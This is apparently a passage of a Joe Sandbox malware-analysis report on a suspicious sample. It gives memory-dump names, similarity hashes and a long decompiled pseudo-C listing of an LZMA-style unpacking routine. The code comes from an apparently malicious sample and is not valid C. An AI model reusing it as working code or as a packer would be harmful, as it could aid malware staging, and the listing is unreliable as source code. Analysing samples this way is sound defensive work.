Associated: 00000000.00000002.3283144697.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3283287480.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3283327689.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3283384511.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_QT_0948765446-NMPMUST-9876563783.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 97748a737734167d5846b9d8dd4738ada3f75d0b833fdafa89234df63502b4a5
Instruction ID: d49815ad38d406b3cd0a1a90ea7be1526168d9e39684835ffa6a026ef1ef4849
Opcode Fuzzy Hash: 97748a737734167d5846b9d8dd4738ada3f75d0b833fdafa89234df63502b4a5
Instruction Fuzzy Hash: 91913270D04228DBEF28CF98C8547ADBBB1FF44305F14816AD856BB281D778A986DF45

Uniqueness

Uniqueness Score: -1.00%

Function 004070AB Relevance: 5.2, APIs: 4, Instructions: 205
COMMON

Download Yara Rule

C-Code - Quality: 98%

			E004070AB() {
				unsigned short _t532;
				signed int _t533;
				void _t534;
				void* _t535;
				signed int _t536;
				signed int _t565;
				signed int _t568;
				signed int _t589;
				signed int* _t606;
				void* _t613;

				L0:
				while(1) {
					L0:
					if( *(_t613 - 0x40) != 0) {
						L89:
						 *((intOrPtr*)(_t613 - 0x80)) = 0x15;
						 *(_t613 - 0x58) =  *(_t613 - 4) + 0xa68;
						L69:
						_t606 =  *(_t613 - 0x58);
						 *(_t613 - 0x84) = 0x12;
						L132:
						 *(_t613 - 0x54) = _t606;
						L133:
						_t532 =  *_t606;
						_t589 = _t532 & 0x0000ffff;
						_t565 = ( *(_t613 - 0x10) >> 0xb) * _t589;
						if( *(_t613 - 0xc) >= _t565) {
							 *(_t613 - 0x10) =  *(_t613 - 0x10) - _t565;
							 *(_t613 - 0xc) =  *(_t613 - 0xc) - _t565;
							 *(_t613 - 0x40) = 1;
							_t533 = _t532 - (_t532 >> 5);
							 *_t606 = _t533;
						} else {
							 *(_t613 - 0x10) = _t565;
							 *(_t613 - 0x40) =  *(_t613 - 0x40) & 0x00000000;
							 *_t606 = (0x800 - _t589 >> 5) + _t532;
						}
						if( *(_t613 - 0x10) >= 0x1000000) {
							L139:
							_t534 =  *(_t613 - 0x84);
							L140:
							 *(_t613 - 0x88) = _t534;
							goto L1;
						} else {
							L137:
							if( *(_t613 - 0x6c) == 0) {
								 *(_t613 - 0x88) = 5;
								goto L170;
							}
							 *(_t613 - 0x10) =  *(_t613 - 0x10) << 8;
							 *(_t613 - 0x6c) =  *(_t613 - 0x6c) - 1;
							 *(_t613 - 0x70) =  &(( *(_t613 - 0x70))[1]);
							 *(_t613 - 0xc) =  *(_t613 - 0xc) << 0x00000008 |  *( *(_t613 - 0x70)) & 0x000000ff;
							goto L139;
						}
					} else {
						if( *(__ebp - 0x60) == 0) {
							L171:
							_t536 = _t535 | 0xffffffff;
							L172:
							return _t536;
						}
						__eax = 0;
						_t258 =  *(__ebp - 0x38) - 7 >= 0;
						0 | _t258 = _t258 + _t258 + 9;
						 *(__ebp - 0x38) = _t258 + _t258 + 9;
						L75:
						if( *(__ebp - 0x64) == 0) {
							 *(__ebp - 0x88) = 0x1b;
							L170:
							_t568 = 0x22;
							memcpy( *(_t613 - 0x90), _t613 - 0x88, _t568 << 2);
							_t536 = 0;
							goto L172;
						}
						__eax =  *(__ebp - 0x14);
						__eax =  *(__ebp - 0x14) -  *(__ebp - 0x2c);
						if(__eax >=  *(__ebp - 0x74)) {
							__eax = __eax +  *(__ebp - 0x74);
						}
						__edx =  *(__ebp - 8);
						__cl =  *(__eax + __edx);
						__eax =  *(__ebp - 0x14);
						 *(__ebp - 0x5c) = __cl;
						 *(__eax + __edx) = __cl;
						__eax = __eax + 1;
						__edx = 0;
						_t274 = __eax %  *(__ebp - 0x74);
						__eax = __eax /  *(__ebp - 0x74);
						__edx = _t274;
						__eax =  *(__ebp - 0x68);
						 *(__ebp - 0x60) =  *(__ebp - 0x60) + 1;
						 *(__ebp - 0x68) =  *(__ebp - 0x68) + 1;
						_t283 = __ebp - 0x64;
						 *_t283 =  *(__ebp - 0x64) - 1;
						 *( *(__ebp - 0x68)) = __cl;
						L79:
						 *(__ebp - 0x14) = __edx;
						L80:
						 *(__ebp - 0x88) = 2;
					}
					L1:
					_t535 =  *(_t613 - 0x88);
					if(_t535 > 0x1c) {
						goto L171;
					}
					switch( *((intOrPtr*)(_t535 * 4 +  &M00407602))) {
						case 0:
							if( *(_t613 - 0x6c) == 0) {
								goto L170;
							}
							 *(_t613 - 0x6c) =  *(_t613 - 0x6c) - 1;
							 *(_t613 - 0x70) =  &(( *(_t613 - 0x70))[1]);
							_t535 =  *( *(_t613 - 0x70));
							if(_t535 > 0xe1) {
								goto L171;
							}
							_t539 = _t535 & 0x000000ff;
							_push(0x2d);
							asm("cdq");
							_pop(_t570);
							_push(9);
							_pop(_t571);
							_t609 = _t539 / _t570;
							_t541 = _t539 % _t570 & 0x000000ff;
							asm("cdq");
							_t604 = _t541 % _t571 & 0x000000ff;
							 *(_t613 - 0x3c) = _t604;
							 *(_t613 - 0x1c) = (1 << _t609) - 1;
							 *((intOrPtr*)(_t613 - 0x18)) = (1 << _t541 / _t571) - 1;
							_t612 = (0x300 << _t604 + _t609) + 0x736;
							if(0x600 ==  *((intOrPtr*)(_t613 - 0x78))) {
								L10:
								if(_t612 == 0) {
									L12:
									 *(_t613 - 0x48) =  *(_t613 - 0x48) & 0x00000000;
									 *(_t613 - 0x40) =  *(_t613 - 0x40) & 0x00000000;
									goto L15;
								} else {
									goto L11;
								}
								do {
									L11:
									_t612 = _t612 - 1;
									 *((short*)( *(_t613 - 4) + _t612 * 2)) = 0x400;
								} while (_t612 != 0);
								goto L12;
							}
							if( *(_t613 - 4) != 0) {
								GlobalFree( *(_t613 - 4));
							}
							_t535 = GlobalAlloc(0x40, 0x600); // executed
							 *(_t613 - 4) = _t535;
							if(_t535 == 0) {
								goto L171;
							} else {
								 *((intOrPtr*)(_t613 - 0x78)) = 0x600;
								goto L10;
							}
						case 1:
							L13:
							__eflags =  *(_t613 - 0x6c);
							if( *(_t613 - 0x6c) == 0) {
								 *(_t613 - 0x88) = 1;
								goto L170;
							}
							 *(_t613 - 0x6c) =  *(_t613 - 0x6c) - 1;
							 *(_t613 - 0x40) =  *(_t613 - 0x40) | ( *( *(_t613 - 0x70)) & 0x000000ff) <<  *(_t613 - 0x48) << 0x00000003;
							 *(_t613 - 0x70) =  &(( *(_t613 - 0x70))[1]);
							_t45 = _t613 - 0x48;
							 *_t45 =  *(_t613 - 0x48) + 1;
							__eflags =  *_t45;
							L15:
							if( *(_t613 - 0x48) < 4) {
								goto L13;
							}
							_t547 =  *(_t613 - 0x40);
							if(_t547 ==  *(_t613 - 0x74)) {
								L20:
								 *(_t613 - 0x48) = 5;
								 *( *(_t613 - 8) +  *(_t613 - 0x74) - 1) =  *( *(_t613 - 8) +  *(_t613 - 0x74) - 1) & 0x00000000;
								goto L23;
							}
							 *(_t613 - 0x74) = _t547;
							if( *(_t613 - 8) != 0) {
								GlobalFree( *(_t613 - 8));
							}
							_t535 = GlobalAlloc(0x40,  *(_t613 - 0x40)); // executed
							 *(_t613 - 8) = _t535;
							if(_t535 == 0) {
								goto L171;
							} else {
								goto L20;
							}
						case 2:
							L24:
							_t554 =  *(_t613 - 0x60) &  *(_t613 - 0x1c);
							 *(_t613 - 0x84) = 6;
							 *(_t613 - 0x4c) = _t554;
							_t606 =  *(_t613 - 4) + (( *(_t613 - 0x38) << 4) + _t554) * 2;
							goto L132;
						case 3:
							L21:
							__eflags =  *(_t613 - 0x6c);
							if( *(_t613 - 0x6c) == 0) {
								 *(_t613 - 0x88) = 3;
								goto L170;
							}
							 *(_t613 - 0x6c) =  *(_t613 - 0x6c) - 1;
							_t67 = _t613 - 0x70;
							 *_t67 =  &(( *(_t613 - 0x70))[1]);
							__eflags =  *_t67;
							 *(_t613 - 0xc) =  *(_t613 - 0xc) << 0x00000008 |  *( *(_t613 - 0x70)) & 0x000000ff;
							L23:
							 *(_t613 - 0x48) =  *(_t613 - 0x48) - 1;
							if( *(_t613 - 0x48) != 0) {
								goto L21;
							}
							goto L24;
						case 4:
							goto L133;
						case 5:
							goto L137;
						case 6:
							__edx = 0;
							__eflags =  *(__ebp - 0x40);
							if( *(__ebp - 0x40) != 0) {
								__eax =  *(__ebp - 4);
								__ecx =  *(__ebp - 0x38);
								 *(__ebp - 0x34) = 1;
								 *(__ebp - 0x84) = 7;
								__esi =  *(__ebp - 4) + 0x180 +  *(__ebp - 0x38) * 2;
								goto L132;
							}
							__eax =  *(__ebp - 0x5c) & 0x000000ff;
							__esi =  *(__ebp - 0x60);
							__cl = 8;
							__cl = 8 -  *(__ebp - 0x3c);
							__esi =  *(__ebp - 0x60) &  *(__ebp - 0x18);
							__eax = ( *(__ebp - 0x5c) & 0x000000ff) >> 8;
							__ecx =  *(__ebp - 0x3c);
							__esi = ( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8;
							__ecx =  *(__ebp - 4);
							(( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) = (( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2;
							__eax = (( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2 << 9;
							__eflags =  *(__ebp - 0x38) - 4;
							__eax = ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2 << 9) +  *(__ebp - 4) + 0xe6c;
							 *(__ebp - 0x58) = ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2 << 9) +  *(__ebp - 4) + 0xe6c;
							if( *(__ebp - 0x38) >= 4) {
								__eflags =  *(__ebp - 0x38) - 0xa;
								if( *(__ebp - 0x38) >= 0xa) {
									_t98 = __ebp - 0x38;
									 *_t98 =  *(__ebp - 0x38) - 6;
									__eflags =  *_t98;
								} else {
									 *(__ebp - 0x38) =  *(__ebp - 0x38) - 3;
								}
							} else {
								 *(__ebp - 0x38) = 0;
							}
							__eflags =  *(__ebp - 0x34) - __edx;
							if( *(__ebp - 0x34) == __edx) {
								__ebx = 0;
								__ebx = 1;
								goto L61;
							} else {
								__eax =  *(__ebp - 0x14);
								__eax =  *(__ebp - 0x14) -  *(__ebp - 0x2c);
								__eflags = __eax -  *(__ebp - 0x74);
								if(__eax >=  *(__ebp - 0x74)) {
									__eax = __eax +  *(__ebp - 0x74);
									__eflags = __eax;
								}
								__ecx =  *(__ebp - 8);
								__ebx = 0;
								__ebx = 1;
								__al =  *((intOrPtr*)(__eax + __ecx));
								 *(__ebp - 0x5b) =  *((intOrPtr*)(__eax + __ecx));
								goto L41;
							}
						case 7:
							__eflags =  *(__ebp - 0x40) - 1;
							if( *(__ebp - 0x40) != 1) {
								__eax =  *(__ebp - 0x24);
								 *(__ebp - 0x80) = 0x16;
								 *(__ebp - 0x20) =  *(__ebp - 0x24);
								__eax =  *(__ebp - 0x28);
								 *(__ebp - 0x24) =  *(__ebp - 0x28);
								__eax =  *(__ebp - 0x2c);
								 *(__ebp - 0x28) =  *(__ebp - 0x2c);
								__eax = 0;
								__eflags =  *(__ebp - 0x38) - 7;
								0 | __eflags >= 0x00000000 = (__eflags >= 0) - 1;
								__al = __al & 0x000000fd;
								__eax = (__eflags >= 0) - 1 + 0xa;
								 *(__ebp - 0x38) = (__eflags >= 0) - 1 + 0xa;
								__eax =  *(__ebp - 4);
								__eax =  *(__ebp - 4) + 0x664;
								__eflags = __eax;
								 *(__ebp - 0x58) = __eax;
								goto L69;
							}
							__eax =  *(__ebp - 4);
							__ecx =  *(__ebp - 0x38);
							 *(__ebp - 0x84) = 8;
							__esi =  *(__ebp - 4) + 0x198 +  *(__ebp - 0x38) * 2;
							goto L132;
						case 8:
							__eflags =  *(__ebp - 0x40);
							if( *(__ebp - 0x40) != 0) {
								__eax =  *(__ebp - 4);
								__ecx =  *(__ebp - 0x38);
								 *(__ebp - 0x84) = 0xa;
								__esi =  *(__ebp - 4) + 0x1b0 +  *(__ebp - 0x38) * 2;
							} else {
								__eax =  *(__ebp - 0x38);
								__ecx =  *(__ebp - 4);
								__eax =  *(__ebp - 0x38) + 0xf;
								 *(__ebp - 0x84) = 9;
								 *(__ebp - 0x38) + 0xf << 4 = ( *(__ebp - 0x38) + 0xf << 4) +  *(__ebp - 0x4c);
								__esi =  *(__ebp - 4) + (( *(__ebp - 0x38) + 0xf << 4) +  *(__ebp - 0x4c)) * 2;
							}
							goto L132;
						case 9:
							goto L0;
						case 0xa:
							__eflags =  *(__ebp - 0x40);
							if( *(__ebp - 0x40) != 0) {
								__eax =  *(__ebp - 4);
								__ecx =  *(__ebp - 0x38);
								 *(__ebp - 0x84) = 0xb;
								__esi =  *(__ebp - 4) + 0x1c8 +  *(__ebp - 0x38) * 2;
								goto L132;
							}
							__eax =  *(__ebp - 0x28);
							goto L88;
						case 0xb:
							__eflags =  *(__ebp - 0x40);
							if( *(__ebp - 0x40) != 0) {
								__ecx =  *(__ebp - 0x24);
								__eax =  *(__ebp - 0x20);
								 *(__ebp - 0x20) =  *(__ebp - 0x24);
							} else {
								__eax =  *(__ebp - 0x24);
							}
							__ecx =  *(__ebp - 0x28);
							 *(__ebp - 0x24) =  *(__ebp - 0x28);
							L88:
							__ecx =  *(__ebp - 0x2c);
							 *(__ebp - 0x2c) = __eax;
							 *(__ebp - 0x28) =  *(__ebp - 0x2c);
							goto L89;
						case 0xc:
							L99:
							__eflags =  *(__ebp - 0x6c);
							if( *(__ebp - 0x6c) == 0) {
								 *(__ebp - 0x88) = 0xc;
								goto L170;
							}
							__ecx =  *(__ebp - 0x70);
							__eax =  *(__ebp - 0xc);
							 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
							__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
							 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
							 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
							_t334 = __ebp - 0x70;
							 *_t334 =  *(__ebp - 0x70) + 1;
							__eflags =  *_t334;
							 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
							__eax =  *(__ebp - 0x2c);
							goto L101;
						case 0xd:
							L37:
							__eflags =  *(__ebp - 0x6c);
							if( *(__ebp - 0x6c) == 0) {
								 *(__ebp - 0x88) = 0xd;
								goto L170;
							}
							__ecx =  *(__ebp - 0x70);
							__eax =  *(__ebp - 0xc);
							 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
							__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
							 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
							 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
							_t122 = __ebp - 0x70;
							 *_t122 =  *(__ebp - 0x70) + 1;
							__eflags =  *_t122;
							 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
							L39:
							__eax =  *(__ebp - 0x40);
							__eflags =  *(__ebp - 0x48) -  *(__ebp - 0x40);
							if( *(__ebp - 0x48) !=  *(__ebp - 0x40)) {
								goto L48;
							}
							__eflags = __ebx - 0x100;
							if(__ebx >= 0x100) {
								goto L54;
							}
							L41:
							__eax =  *(__ebp - 0x5b) & 0x000000ff;
							 *(__ebp - 0x5b) =  *(__ebp - 0x5b) << 1;
							__ecx =  *(__ebp - 0x58);
							__eax = ( *(__ebp - 0x5b) & 0x000000ff) >> 7;
							 *(__ebp - 0x48) = __eax;
							__eax = __eax + 1;
							__eax = __eax << 8;
							__eax = __eax + __ebx;
							__esi =  *(__ebp - 0x58) + __eax * 2;
							 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 0xb;
							__ax =  *__esi;
							 *(__ebp - 0x54) = __esi;
							__edx = __ax & 0x0000ffff;
							__ecx = ( *(__ebp - 0x10) >> 0xb) * __edx;
							__eflags =  *(__ebp - 0xc) - __ecx;
							if( *(__ebp - 0xc) >= __ecx) {
								 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
								 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
								__cx = __ax;
								 *(__ebp - 0x40) = 1;
								__cx = __ax >> 5;
								__eflags = __eax;
								__ebx = __ebx + __ebx + 1;
								 *__esi = __ax;
							} else {
								 *(__ebp - 0x40) =  *(__ebp - 0x40) & 0x00000000;
								 *(__ebp - 0x10) = __ecx;
								0x800 = 0x800 - __edx;
								0x800 - __edx >> 5 = (0x800 - __edx >> 5) + __eax;
								__ebx = __ebx + __ebx;
								 *__esi = __cx;
							}
							__eflags =  *(__ebp - 0x10) - 0x1000000;
							 *(__ebp - 0x44) = __ebx;
							if( *(__ebp - 0x10) >= 0x1000000) {
								goto L39;
							} else {
								goto L37;
							}
						case 0xe:
							L46:
							__eflags =  *(__ebp - 0x6c);
							if( *(__ebp - 0x6c) == 0) {
								 *(__ebp - 0x88) = 0xe;
								goto L170;
							}
							__ecx =  *(__ebp - 0x70);
							__eax =  *(__ebp - 0xc);
							 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
							__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
							 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
							 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
							_t156 = __ebp - 0x70;
							 *_t156 =  *(__ebp - 0x70) + 1;
							__eflags =  *_t156;
							 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
							while(1) {
								L48:
								__eflags = __ebx - 0x100;
								if(__ebx >= 0x100) {
									break;
								}
								__eax =  *(__ebp - 0x58);
								__edx = __ebx + __ebx;
								__ecx =  *(__ebp - 0x10);
								__esi = __edx + __eax;
								__ecx =  *(__ebp - 0x10) >> 0xb;
								__ax =  *__esi;
								 *(__ebp - 0x54) = __esi;
								__edi = __ax & 0x0000ffff;
								__ecx = ( *(__ebp - 0x10) >> 0xb) * __edi;
								__eflags =  *(__ebp - 0xc) - __ecx;
								if( *(__ebp - 0xc) >= __ecx) {
									 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
									 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
									__cx = __ax;
									_t170 = __edx + 1; // 0x1
									__ebx = _t170;
									__cx = __ax >> 5;
									__eflags = __eax;
									 *__esi = __ax;
								} else {
									 *(__ebp - 0x10) = __ecx;
									0x800 = 0x800 - __edi;
									0x800 - __edi >> 5 = (0x800 - __edi >> 5) + __eax;
									__ebx = __ebx + __ebx;
									 *__esi = __cx;
								}
								__eflags =  *(__ebp - 0x10) - 0x1000000;
								 *(__ebp - 0x44) = __ebx;
								if( *(__ebp - 0x10) >= 0x1000000) {
									continue;
								} else {
									goto L46;
								}
							}
							L54:
							_t173 = __ebp - 0x34;
							 *_t173 =  *(__ebp - 0x34) & 0x00000000;
							__eflags =  *_t173;
							goto L55;
						case 0xf:
							L58:
							__eflags =  *(__ebp - 0x6c);
							if( *(__ebp - 0x6c) == 0) {
								 *(__ebp - 0x88) = 0xf;
								goto L170;
							}
							__ecx =  *(__ebp - 0x70);
							__eax =  *(__ebp - 0xc);
							 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
							__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
							 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
							 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
							_t203 = __ebp - 0x70;
							 *_t203 =  *(__ebp - 0x70) + 1;
							__eflags =  *_t203;
							 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
							L60:
							__eflags = __ebx - 0x100;
							if(__ebx >= 0x100) {
								L55:
								__al =  *(__ebp - 0x44);
								 *(__ebp - 0x5c) =  *(__ebp - 0x44);
								goto L56;
							}
							L61:
							__eax =  *(__ebp - 0x58);
							__edx = __ebx + __ebx;
							__ecx =  *(__ebp - 0x10);
							__esi = __edx + __eax;
							__ecx =  *(__ebp - 0x10) >> 0xb;
							__ax =  *__esi;
							 *(__ebp - 0x54) = __esi;
							__edi = __ax & 0x0000ffff;
							__ecx = ( *(__ebp - 0x10) >> 0xb) * __edi;
							__eflags =  *(__ebp - 0xc) - __ecx;
							if( *(__ebp - 0xc) >= __ecx) {
								 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
								 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
								__cx = __ax;
								_t217 = __edx + 1; // 0x1
								__ebx = _t217;
								__cx = __ax >> 5;
								__eflags = __eax;
								 *__esi = __ax;
							} else {
								 *(__ebp - 0x10) = __ecx;
								0x800 = 0x800 - __edi;
								0x800 - __edi >> 5 = (0x800 - __edi >> 5) + __eax;
								__ebx = __ebx + __ebx;
								 *__esi = __cx;
							}
							__eflags =  *(__ebp - 0x10) - 0x1000000;
							 *(__ebp - 0x44) = __ebx;
							if( *(__ebp - 0x10) >= 0x1000000) {
								goto L60;
							} else {
								goto L58;
							}
						case 0x10:
							L109:
							__eflags =  *(__ebp - 0x6c);
							if( *(__ebp - 0x6c) == 0) {
								 *(__ebp - 0x88) = 0x10;
								goto L170;
							}
							__ecx =  *(__ebp - 0x70);
							__eax =  *(__ebp - 0xc);
							 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
							__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
							 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
							 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
							_t365 = __ebp - 0x70;
							 *_t365 =  *(__ebp - 0x70) + 1;
							__eflags =  *_t365;
							 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
							goto L111;
						case 0x11:
							goto L69;
						case 0x12:
							__eflags =  *(__ebp - 0x40);
							if( *(__ebp - 0x40) != 0) {
								__eax =  *(__ebp - 0x58);
								 *(__ebp - 0x84) = 0x13;
								__esi =  *(__ebp - 0x58) + 2;
								goto L132;
							}
							__eax =  *(__ebp - 0x4c);
							 *(__ebp - 0x30) =  *(__ebp - 0x30) & 0x00000000;
							__ecx =  *(__ebp - 0x58);
							__eax =  *(__ebp - 0x4c) << 4;
							__eflags = __eax;
							__eax =  *(__ebp - 0x58) + __eax + 4;
							goto L130;
						case 0x13:
							__eflags =  *(__ebp - 0x40);
							if( *(__ebp - 0x40) != 0) {
								_t469 = __ebp - 0x58;
								 *_t469 =  *(__ebp - 0x58) + 0x204;
								__eflags =  *_t469;
								 *(__ebp - 0x30) = 0x10;
								 *(__ebp - 0x40) = 8;
								L144:
								 *(__ebp - 0x7c) = 0x14;
								goto L145;
							}
							__eax =  *(__ebp - 0x4c);
							__ecx =  *(__ebp - 0x58);
							__eax =  *(__ebp - 0x4c) << 4;
							 *(__ebp - 0x30) = 8;
							__eax =  *(__ebp - 0x58) + ( *(__ebp - 0x4c) << 4) + 0x104;
							L130:
							 *(__ebp - 0x58) = __eax;
							 *(__ebp - 0x40) = 3;
							goto L144;
						case 0x14:
							 *(__ebp - 0x30) =  *(__ebp - 0x30) + __ebx;
							__eax =  *(__ebp - 0x80);
							goto L140;
						case 0x15:
							__eax = 0;
							__eflags =  *(__ebp - 0x38) - 7;
							0 | __eflags >= 0x00000000 = (__eflags >= 0) - 1;
							__al = __al & 0x000000fd;
							__eax = (__eflags >= 0) - 1 + 0xb;
							 *(__ebp - 0x38) = (__eflags >= 0) - 1 + 0xb;
							goto L120;
						case 0x16:
							__eax =  *(__ebp - 0x30);
							__eflags = __eax - 4;
							if(__eax >= 4) {
								_push(3);
								_pop(__eax);
							}
							__ecx =  *(__ebp - 4);
							 *(__ebp - 0x40) = 6;
							__eax = __eax << 7;
							 *(__ebp - 0x7c) = 0x19;
							 *(__ebp - 0x58) = __eax;
							goto L145;
						case 0x17:
							L145:
							__eax =  *(__ebp - 0x40);
							 *(__ebp - 0x50) = 1;
							 *(__ebp - 0x48) =  *(__ebp - 0x40);
							goto L149;
						case 0x18:
							L146:
							__eflags =  *(__ebp - 0x6c);
							if( *(__ebp - 0x6c) == 0) {
								 *(__ebp - 0x88) = 0x18;
								goto L170;
							}
							__ecx =  *(__ebp - 0x70);
							__eax =  *(__ebp - 0xc);
							 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
							__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
							 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
							 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
							_t484 = __ebp - 0x70;
							 *_t484 =  *(__ebp - 0x70) + 1;
							__eflags =  *_t484;
							 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
							L148:
							_t487 = __ebp - 0x48;
							 *_t487 =  *(__ebp - 0x48) - 1;
							__eflags =  *_t487;
							L149:
							__eflags =  *(__ebp - 0x48);
							if( *(__ebp - 0x48) <= 0) {
								__ecx =  *(__ebp - 0x40);
								__ebx =  *(__ebp - 0x50);
								0 = 1;
								__eax = 1 << __cl;
								__ebx =  *(__ebp - 0x50) - (1 << __cl);
								__eax =  *(__ebp - 0x7c);
								 *(__ebp - 0x44) = __ebx;
								goto L140;
							}
							__eax =  *(__ebp - 0x50);
							 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 0xb;
							__edx =  *(__ebp - 0x50) +  *(__ebp - 0x50);
							__eax =  *(__ebp - 0x58);
							__esi = __edx + __eax;
							 *(__ebp - 0x54) = __esi;
							__ax =  *__esi;
							__edi = __ax & 0x0000ffff;
							__ecx = ( *(__ebp - 0x10) >> 0xb) * __edi;
							__eflags =  *(__ebp - 0xc) - __ecx;
							if( *(__ebp - 0xc) >= __ecx) {
								 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
								 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
								__cx = __ax;
								__cx = __ax >> 5;
								__eax = __eax - __ecx;
								__edx = __edx + 1;
								__eflags = __edx;
								 *__esi = __ax;
								 *(__ebp - 0x50) = __edx;
							} else {
								 *(__ebp - 0x10) = __ecx;
								0x800 = 0x800 - __edi;
								0x800 - __edi >> 5 = (0x800 - __edi >> 5) + __eax;
								 *(__ebp - 0x50) =  *(__ebp - 0x50) << 1;
								 *__esi = __cx;
							}
							__eflags =  *(__ebp - 0x10) - 0x1000000;
							if( *(__ebp - 0x10) >= 0x1000000) {
								goto L148;
							} else {
								goto L146;
							}
						case 0x19:
							__eflags = __ebx - 4;
							if(__ebx < 4) {
								 *(__ebp - 0x2c) = __ebx;
								L119:
								_t393 = __ebp - 0x2c;
								 *_t393 =  *(__ebp - 0x2c) + 1;
								__eflags =  *_t393;
								L120:
								__eax =  *(__ebp - 0x2c);
								__eflags = __eax;
								if(__eax == 0) {
									 *(__ebp - 0x30) =  *(__ebp - 0x30) | 0xffffffff;
									goto L170;
								}
								__eflags = __eax -  *(__ebp - 0x60);
								if(__eax >  *(__ebp - 0x60)) {
									goto L171;
								}
								 *(__ebp - 0x30) =  *(__ebp - 0x30) + 2;
								__eax =  *(__ebp - 0x30);
								_t400 = __ebp - 0x60;
								 *_t400 =  *(__ebp - 0x60) +  *(__ebp - 0x30);
								__eflags =  *_t400;
								goto L123;
							}
							__ecx = __ebx;
							__eax = __ebx;
							__ecx = __ebx >> 1;
							__eax = __ebx & 0x00000001;
							__ecx = (__ebx >> 1) - 1;
							__al = __al | 0x00000002;
							__eax = (__ebx & 0x00000001) << __cl;
							__eflags = __ebx - 0xe;
							 *(__ebp - 0x2c) = __eax;
							if(__ebx >= 0xe) {
								__ebx = 0;
								 *(__ebp - 0x48) = __ecx;
								L102:
								__eflags =  *(__ebp - 0x48);
								if( *(__ebp - 0x48) <= 0) {
									__eax = __eax + __ebx;
									 *(__ebp - 0x40) = 4;
									 *(__ebp - 0x2c) = __eax;
									__eax =  *(__ebp - 4);
									__eax =  *(__ebp - 4) + 0x644;
									__eflags = __eax;
									L108:
									__ebx = 0;
									 *(__ebp - 0x58) = __eax;
									 *(__ebp - 0x50) = 1;
									 *(__ebp - 0x44) = 0;
									 *(__ebp - 0x48) = 0;
									L112:
									__eax =  *(__ebp - 0x40);
